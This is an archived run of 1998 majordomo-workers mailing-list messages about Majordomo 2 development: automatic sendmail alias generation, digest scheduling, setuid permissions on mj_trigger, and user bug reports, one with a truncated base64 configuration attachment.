/var/spool/majordomo/aliases/coursemail.umd.edu,\ /local/mail/aliases/aliases.system # automatically rebuild the alias database? O AutoRebuildAliases=True Our simple hack to _creatlist.al was just: $aliasdir = "/var/spool/majordomo/aliases"; $aliasfile = "$aliasdir/$dom"; warn "can\'t checkout $aliasfile .. bye bye..\n" if (system("$bdir/co", "-l", "-q", $aliasfile)); open(ALIAS, ">>$aliasfile") || die "Can't open $aliasfile: $!"; printf ALIAS "### Aliases for %s at %s\n", $list, $dom; printf ALIAS "%s:\t\"|%s/mj_resend -d %s -l %s\n", $list, $bdir, $dom, $list; printf ALIAS "%s-request:\t\"|%s/mj_email -d %s -l %s\n", $list, $bdir, $dom, $list; printf ALIAS "%s-owner:\t%s,\n", $list, $owner; printf ALIAS "owner-%s:\t%s,\n", $list, $owner; printf ALIAS "### End of aliases for %s at %s\n", $list, $dom; close(ALIAS); warn "Can't Check in $aliasfile ...\n" if (system("$bdir/ci", "-q","-m$list", "-u", $aliasfile)); return (1, $head, $rmess); It should just be doing the "Mj::File" locking and not bother with the RCS stuff, but we were being cautions when we added this. Anyways, this is all we needed to add to get mj2 to instantly create lists on the fly. We have had several hundred list created this way, some with hundreds of users. Randall From majordomo-workers-owner Wed Oct 7 00:43:32 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id AAA20920; Wed, 7 Oct 1998 00:34:50 -0700 (PDT) Received: from atlantis.csc.umd.edu (atlantis.csc.umd.edu [129.2.8.129]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id AAA20911 for ; Wed, 7 Oct 1998 00:34:42 -0700 (PDT) Received: from atlantis.csc.umd.edu ((IDENT sendmail)@localhost [127.0.0.1]) by atlantis.csc.umd.edu (8.9.0.Beta6/8.9.0.Beta6) with SMTP id DAA09791; Wed, 7 Oct 1998 03:51:52 -0400 (EDT) Received: from localhost by atlantis.csc.umd.edu (8.9.0.Beta6/8.9.0.Beta6) with SMTP id DAA09786; Wed, 7 Oct 1998 03:51:51 -0400 (EDT) X-Authentication-Warning: atlantis.csc.umd.edu: rsw owned process doing -bs Date: Wed, 7 Oct 1998 03:51:46 -0400 (EDT) From: "Randall S. Winchester" To: Jason L Tibbitts III cc: majordomo-workers@GreatCircle.COM Subject: Trigger my trusty horse... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Output from cron: Not running as UID 99 at /usr/local/majordomo/bin/mj_trigger line 51. So, is mj_trigger the only mj_ command that is not setuid majordomo? Or did I do something wrong at installation time? (maybe that solaris problem...). Anyways, the following did the trick: chmod 6511 /usr/local/majordomo/bin/mj_trigger I also noticed that TMPDIR = "/tmp/mj"; does not get recreated if it gets removed by a reboot or other clean_tmp routine. This may not be the best place to recommend as a default. Maybe /var/spool/majordomo/tmp would be better. {whatever}/tmp Randall From majordomo-workers-owner Wed Oct 7 06:14:14 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id GAA27570; Wed, 7 Oct 1998 06:04:13 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id GAA27563 for ; Wed, 7 Oct 1998 06:04:05 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id IAA03155; Wed, 7 Oct 1998 08:21:22 -0500 (CDT) To: "Randall S. Winchester" Cc: majordomo-workers@GreatCircle.COM Subject: Re: Trigger my trusty horse... References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 07 Oct 1998 08:21:22 -0500 In-Reply-To: "Randall S. Winchester"'s message of "Wed, 7 Oct 1998 03:51:46 -0400 (EDT)" Message-ID: Lines: 21 X-Mailer: Gnus v5.6.24/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "RSW" == Randall S Winchester writes: RSW> So, is mj_trigger the only mj_ command that is not setuid majordomo? Correct. Since it runs from Majordomo's crontab, it doesn't need to be. (Minimum permissions and all that, plus nothing it does is security checked.) RSW> Anyways, the following did the trick: chmod 6511 RSW> /usr/local/majordomo/bin/mj_trigger That would be improper. RSW> I also noticed that TMPDIR = "/tmp/mj"; does not get recreated if it RSW> gets removed by a reboot or other clean_tmp routine. Correct. I suppose it doesn't hurt to try to create it, but why would you give it a place that you know would be deleted? Pretty much any other location assumes a lot about the system. (Lots don't have /var/spool.) - J< From majordomo-workers-owner Wed Oct 7 07:14:11 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id HAA28392; Wed, 7 Oct 1998 07:08:16 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id HAA28385 for ; Wed, 7 Oct 1998 07:08:07 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id JAA05252; Wed, 7 Oct 1998 09:25:16 -0500 (CDT) To: "Randall S. Winchester" Cc: majordomo-workers@GreatCircle.COM Subject: Re: A backwords sort of configuration References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 07 Oct 1998 09:25:15 -0500 In-Reply-To: "Randall S. Winchester"'s message of "Wed, 7 Oct 1998 02:52:35 -0400 (EDT)" Message-ID: Lines: 24 X-Mailer: Gnus v5.6.24/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "RSW" == Randall S Winchester writes: RSW> Wow! You have added so much to mj2. It is really going to need lots of RSW> documentation and "clear examples" to let everyone see what it can RSW> do. I agree. I'll probably start a 'cookbook' and use the answer I gave you as a start. RSW> I think many will be assuming it is mostly a typical upgrade for RSW> majordomo. Well, there are lots of changes but I really want people to be able to pretend it's a regular upgrade. Note that the second possibility I gave you is pretty much exactly what you'd expect to do with 1.94.4, except for the use of a sublist instead of a file. Eventually when we're converting lists over we can look at restrict_post and suck anything we see there into appropriate sublists automatically. While you're reading the source, remember to point out to me any confusing or undercommented parts. I want to make sure that, even though the whole is complex, each individual function is perfectly understandable. - J< From majordomo-workers-owner Wed Oct 7 07:29:45 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id HAA28451; Wed, 7 Oct 1998 07:17:44 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id HAA28444 for ; Wed, 7 Oct 1998 07:17:36 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id JAA05384; Wed, 7 Oct 1998 09:34:56 -0500 (CDT) To: "Randall S. Winchester" Cc: majordomo-workers@GreatCircle.COM Subject: Re: building the aliases file on the fly. References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 07 Oct 1998 09:34:55 -0500 In-Reply-To: "Randall S. Winchester"'s message of "Wed, 7 Oct 1998 03:21:51 -0400 (EDT)" Message-ID: Lines: 16 X-Mailer: Gnus v5.6.24/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "RSW" == Randall S Winchester writes: RSW> I do not see that it would be a problem to just generate this alias RSW> file. Even if it is only used for historical archival RSW> purposes. Otherwise you could say if some flag is null to not write RSW> the file out I guess. I don't see a problem either. The only thing I'm really concerned about is permissions. I know Sendmail 8.9 is picky, but I'm not exactly how. Will it allow aliases files owned by someone other than root? Also, just for my enlightenment, can you tell me how you set up all of the virtual domain configuration? What do the appropriate files look like. (Ideally I'd like to have them created when necessary, too.) - J< From majordomo-workers-owner Wed Oct 7 09:53:20 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id JAA00369; Wed, 7 Oct 1998 09:42:47 -0700 (PDT) Received: from icarus.dur.ac.uk (icarus.dur.ac.uk [129.234.1.2]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id JAA00338 for ; Wed, 7 Oct 1998 09:42:24 -0700 (PDT) Received: from mercury (mercury.dur.ac.uk [129.234.4.40]) by icarus.dur.ac.uk (8.9.1/8.9.1) with SMTP id RAA07625; Wed, 7 Oct 1998 17:59:16 +0100 (BST) Received: from arachne by mercury id ; Wed, 7 Oct 1998 17:59:16 +0100 Date: Wed, 7 Oct 1998 17:59:15 +0100 (BST) From: David Lee To: Jason L Tibbitts III cc: "Randall S. Winchester" , majordomo-workers@GreatCircle.COM Subject: Re: building the aliases file on the fly. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On 7 Oct 1998, Jason L Tibbitts III wrote: > >>>>> "RSW" == Randall S Winchester writes: > > RSW> I do not see that it would be a problem to just generate this alias > RSW> file. Even if it is only used for historical archival > RSW> purposes. Otherwise you could say if some flag is null to not write > RSW> the file out I guess. > > I don't see a problem either. The only thing I'm really concerned about is > permissions. I know Sendmail 8.9 is picky, but I'm not exactly how. Will > it allow aliases files owned by someone other than root? We use non-root aliases under sendmail-8.9.1. 8.9.x is, indeed, now very cautious about everything. But it is possible to relax individual checks slightly, and using: O DontBlameSendmail=groupwritabledirpathsafe seems to allow a non-root id to maintain alias files. I hope(!) this is safe. (If other folks know if this is highly dangerous, or know a better way to do it, please let me know!) -- : David Lee I.T. Service : : Systems Programmer Computer Centre : : University of Durham : : Phone: +44 191 374 2882 (ddi) South Road : : Fax: +44 191 374 7759 Durham : : Internet: T.D.Lee@durham.ac.uk U.K. : From majordomo-workers-owner Wed Oct 7 10:43:21 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id KAA01092; Wed, 7 Oct 1998 10:42:49 -0700 (PDT) Received: from atlantis.csc.umd.edu (atlantis.csc.umd.edu [129.2.8.129]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id KAA01077 for ; Wed, 7 Oct 1998 10:42:40 -0700 (PDT) Received: from atlantis.csc.umd.edu ((IDENT sendmail)@localhost [127.0.0.1]) by atlantis.csc.umd.edu (8.9.0.Beta6/8.9.0.Beta6) with SMTP id NAA11844; Wed, 7 Oct 1998 13:59:54 -0400 (EDT) Received: from localhost by atlantis.csc.umd.edu (8.9.0.Beta6/8.9.0.Beta6) with SMTP id NAA11839; Wed, 7 Oct 1998 13:59:52 -0400 (EDT) X-Authentication-Warning: atlantis.csc.umd.edu: rsw owned process doing -bs Date: Wed, 7 Oct 1998 13:59:51 -0400 (EDT) From: "Randall S. Winchester" To: David Lee cc: Jason L Tibbitts III , majordomo-workers@GreatCircle.COM Subject: Re: building the aliases file on the fly. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On Wed, 7 Oct 1998, David Lee wrote: : On 7 Oct 1998, Jason L Tibbitts III wrote: : : > >>>>> "RSW" == Randall S Winchester writes: : > : > RSW> I do not see that it would be a problem to just generate this alias : > RSW> file. : > : > I don't see a problem either. The only thing I'm really concerned about is : > permissions. I know Sendmail 8.9 is picky, but I'm not exactly how. Will : > it allow aliases files owned by someone other than root? : : We use non-root aliases under sendmail-8.9.1. 8.9.x is, indeed, now very : cautious about everything. But it is possible to relax individual checks : slightly, and using: : O DontBlameSendmail=groupwritabledirpathsafe : seems to allow a non-root id to maintain alias files. : : I hope(!) this is safe. (If other folks know if this is highly dangerous, : or know a better way to do it, please let me know!) I am running sendmail-8.9 and I have NO DontBlameSendmail flags set. Note the permissions and ownerships. You basically do not want things group (or greater) writable. majordomo2 /var/spool/majordomo/aliases; ls -latr total 708 drwxr-xr-x 11 majordom daemon 512 Jul 28 10:59 .. -r--r--r-- 1 majordom staff 3007 Sep 21 13:10 majordomo2.umd.edu -rw-r--r-- 1 root daemon 32768 Sep 21 13:11 majordomo2.umd.edu.db -r--r--r-- 1 majordom staff 556 Sep 21 13:23 majordomo -rw-r--r-- 1 root daemon 32768 Sep 21 13:23 majordomo.db -r--r--r-- 1 majordom daemon 125524 Oct 7 13:50 coursemail.umd.edu drwxr-xr-x 2 majordom daemon 512 Oct 7 13:50 RCS drwxr-xr-x 4 majordom daemon 512 Oct 7 13:50 . -rw-r--r-- 1 root daemon 147456 Oct 7 13:50 coursemail.umd.edu.db From majordomo-workers-owner Wed Oct 7 20:58:25 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id UAA08274; Wed, 7 Oct 1998 20:47:32 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id UAA08267 for ; Wed, 7 Oct 1998 20:47:24 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id XAA22617; Wed, 7 Oct 1998 23:04:53 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: More digest stuff Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 07 Oct 1998 23:04:52 -0500 Message-ID: Lines: 58 X-Mailer: Gnus v5.6.44/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Mj2 is now generating MIME digests and 'index' digests on demand; you can request a digest of messages from a certain day or request a list of messages to be sent. This seems to work pretty well. Now I'm working on the automatic triggering stuff. This is basically what was hashed out here some time ago and has been in the TODO list, but I've added an important bit so I'll toss it out for discussion. There are six variables involved in deciding when to push out a digest and two variables involved in choosing what messages to put in the digests. Most of them can be ignored if you don't want fine control but I think all are useful in some way. They are: The allowable times for digest generation. Digests will not be generated except during times of the list owner's choosing. The maximum allowable age of a waiting message. A digest will always be generated if a message in the queue gets stale. The minimum number of messages in a digest. The minimum size (in bytes) of a digest. Digests don't get generated unless there are enough messages. The minimum allowable age of a waiting message. Digests aren't generated while discussion is active. This is for low traffic lists with periodic bursts of discussion, to keep a digest from spawning in the middle of an exchange. The minimum separation between digests. Digests aren't generated too close together. The maximum number of messages in a digest. The maximum size (in bytes) of a digest. When a digest is generated, it will never exceed these limits unless a single message is over the byte limit. Time specification is flexible: by hour of day, day of week, or day of month, and ranges of each. The reason for this is to not rely on external crontabs to kick off digests, since many list owners may not have the luxury. Instead we have the hourly trigger, although I'll eventually implement the trusty 'mkdigest' command so the owner can force a digest _now_. Note that some of these can conflict; some limits have precedence over others. I have not yet decided on the precedence of the first two, but I'm leaning towards the listed order (so digests are _never_ generated outside of allowed times). For example, if a message gets stale, a digest will be pushed even if it doesn't meet the minimum size criterion. One thing that folks had wanted was some way to group messages by subject or thread in the digest, not only so that they cluster together in the index but also to put messages in digests out of order to try to keep threads together. The digest builder has access to the references information and the subjects, so this could possibly be done. If anyone wants to work on it, let me know. - J< From majordomo-workers-owner Thu Oct 8 12:28:26 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id MAA20603; Thu, 8 Oct 1998 12:25:49 -0700 (PDT) Received: from jester.ti.com (jester.ti.com [192.94.94.1]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id MAA20596 for ; Thu, 8 Oct 1998 12:25:42 -0700 (PDT) Received: from dlee01.itg.ti.com ([157.170.135.136]) by jester.ti.com (8.8.8) with ESMTP id OAA27807; Thu, 8 Oct 1998 14:42:02 -0500 (CDT) Received: by dlee01.itg.ti.com with Internet Mail Service (5.5.1960.3) id <4GS4XGRN>; Thu, 8 Oct 1998 14:42:30 -0500 Message-ID: <8F34654C5A4BD211A7AA0000F8BDAE68E05139@dlee02.itg.ti.com> From: "Hansel, Glen" To: "'Jason L Tibbitts III'" Cc: "'majordomo-workers@greatcircle.com'" Subject: Majordomo Request Date: Thu, 8 Oct 1998 14:42:29 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.1960.3) Content-Type: text/plain; charset="iso-8859-1" Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Our group in Texas Instruments has recently installed a Web front-end to Majordomo. We accomplished that without making any changes to Majordomo itself but now we would like to be able to customize many of the e-mail messages generated by Majordomo. We would rather not change the canned messages inside Majordomo because that would create a maintenanace problem for us going to new releases. But, do you know if there are any plans in the future to allow for these customized messages that can be maintained outside of Majordomo, for example disk files in a directory? If there are currently no plans to do this, please consider this message as a request for that capability. Regards, Glen Hansel ghansel@ti.com From majordomo-workers-owner Thu Oct 8 15:45:20 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id PAA23129; Thu, 8 Oct 1998 15:41:21 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id PAA23122 for ; Thu, 8 Oct 1998 15:41:16 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id RAA12930; Thu, 8 Oct 1998 17:58:56 -0500 (CDT) To: "Hansel, Glen" Cc: "'majordomo-workers@greatcircle.com'" Subject: Re: Majordomo Request References: <8F34654C5A4BD211A7AA0000F8BDAE68E05139@dlee02.itg.ti.com> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 08 Oct 1998 17:58:56 -0500 In-Reply-To: "Hansel, Glen"'s message of "Thu, 8 Oct 1998 14:42:29 -0500" Message-ID: Lines: 11 X-Mailer: Gnus v5.6.44/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "HG" == Hansel, Glen writes: HG> But, do you know if there are any plans in the future to allow for HG> these customized messages that can be maintained outside of Majordomo, HG> for example disk files in a directory? The development version uses external, remotely maintainable files for all messages longer than a couple of lines. - J< From majordomo-workers-owner Thu Oct 15 14:59:29 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id OAA14003; Thu, 15 Oct 1998 14:55:10 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id OAA13996 for ; Thu, 15 Oct 1998 14:55:05 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id RAA10165; Thu, 15 Oct 1998 17:14:00 -0500 (CDT) To: majordomo-workers@greatcircle.com Subject: Quiet in here Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 15 Oct 1998 17:13:59 -0500 Message-ID: Lines: 21 X-Mailer: Gnus v5.6.44/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Deafening silence on my end. Hopefully I'm not missing out on anything. I've been working steadily improving things all around. Randall has been passing me a few fixes, and his code to automatically maintain the sendmail aliases should be going in very soon now. Digests are progressing; you can now ask for a custom digest built out of a date or a range of dates in addition to asking for named messages or the last N messages. The whole functionality for keeping track of messages and deciding when to push a digest is all working and all of the digest parameters are operational. At the moment, though, things stop just short of actually delivering the digests. That work will require some work in the delivery engine, but once that work is done the additional digest types will come ad very little cost. After watching constant flamewars in several mailing lists I'm on, I've been thinking about a way to let users choose whether or not they want to see a subject prefix. I think that once the above delivery engine surgery is done this can come at little cost. Ideas? - J< From majordomo-workers-owner Thu Oct 15 17:16:32 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id QAA16084; Thu, 15 Oct 1998 16:58:44 -0700 (PDT) Received: from mermaid.shore.net (mermaid.shore.net [207.244.124.6]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with SMTP id QAA16077 for ; Thu, 15 Oct 1998 16:58:38 -0700 (PDT) Received: from smoe.org [204.167.97.154] by mermaid.shore.net with esmtp (Exim) id 0zTxa4-000214-00; Thu, 15 Oct 1998 20:17:20 -0400 Received: (from jeffw@localhost) by smoe.org (8.8.7/8.8.7/daemon-mode-relay2) id UAA18421; Thu, 15 Oct 1998 20:17:19 -0400 (EDT) Message-ID: <19981015201718.U23728@smoe.org> Date: Thu, 15 Oct 1998 20:17:18 -0400 From: Jeff Wasilko To: Jason L Tibbitts III , majordomo-workers@GreatCircle.COM Subject: Re: Quiet in here Mail-Followup-To: Jason L Tibbitts III , majordomo-workers@GreatCircle.COM References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.91.1 In-Reply-To: ; from "Jason L Tibbitts III" on Thu, Oct 15, 1998 at 05:13:59PM -0500 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On Thu, Oct 15, 1998 at 05:13:59PM -0500, Jason L Tibbitts III wrote: > After watching constant flamewars in several mailing lists I'm on, I've > been thinking about a way to let users choose whether or not they want to > see a subject prefix. I think that once the above delivery engine surgery > is done this can come at little cost. Ideas? Sounds like a great idea... -j From majordomo-workers-owner Thu Oct 15 17:30:23 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id RAA16638; Thu, 15 Oct 1998 17:13:48 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id RAA16631 for ; Thu, 15 Oct 1998 17:13:42 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id TAA12123; Thu, 15 Oct 1998 19:32:37 -0500 (CDT) To: Bill Houle Cc: majordomo-workers@GreatCircle.COM Subject: Re: Quiet in here References: <199810160022.RAA10401@ssol020.sandiegoca.ncr.com> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 15 Oct 1998 19:32:36 -0500 In-Reply-To: Bill Houle's message of "Thu, 15 Oct 1998 17:22:40 -0700 (PDT)" Message-ID: Lines: 13 X-Mailer: Gnus v5.6.44/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "BH" == Bill Houle writes: BH> Not that I think that is a bad idea, but [wc]ouldn't you also make the BH> Reply-To receiver-defineable? Hmmm, MUA configuration on the server side. That just strikes me as a bad idea, but I can't quite put my finger on the reason. Besides, that would make four combinations, which is just on the brink of getting out of hand. Perhaps not doing either is the proper action if the slope is that slippery. - J< From majordomo-workers-owner Fri Oct 16 00:19:00 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id AAA21721; Fri, 16 Oct 1998 00:00:50 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id AAA21676 for majordomo-workers@greatcircle.com; Fri, 16 Oct 1998 00:00:37 -0700 (PDT) Received: from animas.frontier.net (frontier.net [199.45.141.1]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id JAA03927 for ; Tue, 13 Oct 1998 09:34:38 -0700 (PDT) Received: from hermosa (no@hermosa.frontier.net [199.45.141.59]) by animas.frontier.net (8.8.8/8.8.8) with SMTP id KAA23496; Tue, 13 Oct 1998 10:50:58 -0600 Message-ID: <06ca01bdf6ca$4d90bdc0$3b8d2dc7@hermosa.frontier.net> From: "Natambu Obleton" To: Cc: Subject: Sometimes it works sometimes it doesnt... Date: Tue, 13 Oct 1998 10:55:34 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.5 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Ok I have majordomo and it doesn't work all the time. It core dumps. Here are the particulars... when I send a subscribe or unsubscribe it sends me this for a while... It sends me a message, core dumps, and does not complete the command. It will continue to try until completed, which takes about a few days. It puts this in the sendmail mailq. ---- KAA10569 21 Mon Oct 12 10:38 root (mailer prog died with signal 13) "|/var/spool/majordomo/wrapper majordomo" ----- I am on Redhat 5.0 with Dual PII 266 with 128 megs of ram.. root@animas ~]# uname -a Linux animas.frontier.net 2.0.35 #1 Fri Sep 4 18:01:26 MDT 1998 i686 unknown [root@animas ~]# running sendmail 8.8.8/8.8.8 Thanks. From majordomo-workers-owner Fri Oct 16 00:34:48 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id AAA21655; Fri, 16 Oct 1998 00:00:24 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id AAA21645 for majordomo-workers@greatcircle.com; Fri, 16 Oct 1998 00:00:19 -0700 (PDT) Received: from gorilla.mchh.siemens.de (gorilla.mchh.siemens.de [194.138.158.18]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id FAA01079 for ; Tue, 13 Oct 1998 05:19:38 -0700 (PDT) Received: from moody.mchh.siemens.de (mail2.mchh.siemens.de [194.138.158.226]) by gorilla.mchh.siemens.de (8.8.7/8.8.7) with ESMTP id OAA09324 for ; Tue, 13 Oct 1998 14:37:45 +0200 (MET DST) Received: from uebemc.siemens.de (popey.mchh3.oen.siemens.de [132.29.3.155]) by moody.mchh.siemens.de (8.9.1/8.9.1) with SMTP id OAA14589; Tue, 13 Oct 1998 14:39:21 +0200 (MET DST) Received: from egnetz (serverrt) by uebemc.siemens.de (4.1/SMI-4.1) id AA22811; Tue, 13 Oct 98 14:37:46 +0200 Received: from s74d820 by egnetz (SMI-8.6/SMI-4.1) id NAA03043; Tue, 13 Oct 1998 13:37:53 +0100 Received: from localhost by s74d820 (SMI-8.6/NFS-Client-1.0) id OAA06063; Tue, 13 Oct 1998 14:37:44 +0200 Date: Tue, 13 Oct 1998 14:37:44 +0200 (MET DST) From: Alexander Zimmermann To: Majordomo Workers Cc: Alexander Zimmermann Subject: Problem with Admin request Message-Id: Mime-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="-559023410-15952070-908280313=:3779" Content-Id: Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ---559023410-15952070-908280313=:3779 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: Hi, I'm running several mailing lists with Majordomo version 1.94.4 attached all system information in the file info) and I've got the following problem: The list 'amidstdarkness' is configured with a 'subject_prefix = AmidstDarkness'. Several threads are running on the list. One of the threads with the subject 'Wen-huan & Alain' doesn't get the prefix attached, but goes out to the mailing list. The listowner gets an email with the subject 'BOUNCE amidstdarkness@oasis.leo.org: Admin request of type /\buns\w*b/i at line' and no body. I think I attached any relevant info you might need. I thought about setting 'administrivia = no' for a temporary cure to the problem. So could you please help me with the problem? Thanks alot, Alex -- Alexander Zimmermann, Zielstattstr. 53, D-81379 Muenchen, Germany +49 89 7 22-3 37 95 (Work) +49 89 78 58 80 23 (Home) alex@class.de alexander.zimmermann.gp@icn.siemens.de http://www.oasis.leo.org/~zimmerma/ ---559023410-15952070-908280313=:3779 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="majordomo.cf" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: majordomo config file Content-Disposition: ATTACHMENT; FILENAME="majordomo.cf" Iw0KIyBBIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgZm9yIG1ham9yZG9t by4gIFlvdSBtdXN0IHJlYWQgdGhyb3VnaCB0aGlzIGFuZA0KIyBlZGl0IGl0 IGFjY29yZGluZ2x5IQ0KIw0KDQoNCiMgJHdoZXJlYW1pIC0tIFdoYXQgbWFj aGluZSBhbSBJIHJ1bm5pbmcgb24/DQojDQokd2hlcmVhbWkgPSAib2FzaXMu bGVvLm9yZyI7DQoNCiMgJHdob2FtaSAtLSBXaG8gZG8gdXNlcnMgc2VuZCBy ZXF1ZXN0cyB0byBtZSBhcz8NCiMNCiR3aG9hbWkgPSAiTWFqb3Jkb21vXEAk d2hlcmVhbWkiOw0KDQojICR3aG9hbWlfb3duZXIgLS0gV2hvIGlzIHRoZSBv d25lciBvZiB0aGUgYWJvdmUsIGluIGNhc2Ugb2YgcHJvYmxlbXM/DQojDQok d2hvYW1pX293bmVyID0gIk1ham9yZG9tby1Pd25lclxAJHdoZXJlYW1pIjsN Cg0KIyAkaG9tZWRpciAtLSBXaGVyZSBjYW4gSSBmaW5kIG15IGV4dHJhIC5w bCBmaWxlcywgbGlrZSBtYWpvcmRvbW8ucGw/DQojIHRoZSBlbnZpcm9ubWVu dCB2YXJpYWJsZSBIT01FIGlzIHNldCBieSB0aGUgd3JhcHBlcg0KIw0KaWYg KCBkZWZpbmVkICRFTlZ7IkhPTUUifSkgew0KICAgICAkaG9tZWRpciA9ICRF TlZ7IkhPTUUifTsNCn0gZWxzZSB7DQogICAgICRob21lZGlyID0gIi91c3Iv bG9jYWwvbWFqb3Jkb21vLTEuOTQuNCI7DQp9DQoNCiMgJGxpc3RkaXIgLS0g V2hlcmUgYXJlIHRoZSBtYWlsaW5nIGxpc3RzPw0KIw0KJGxpc3RkaXIgPSAi JGhvbWVkaXIvbGlzdHMiOw0KDQojICRkaWdlc3Rfd29ya19kaXIgLS0gdGhl 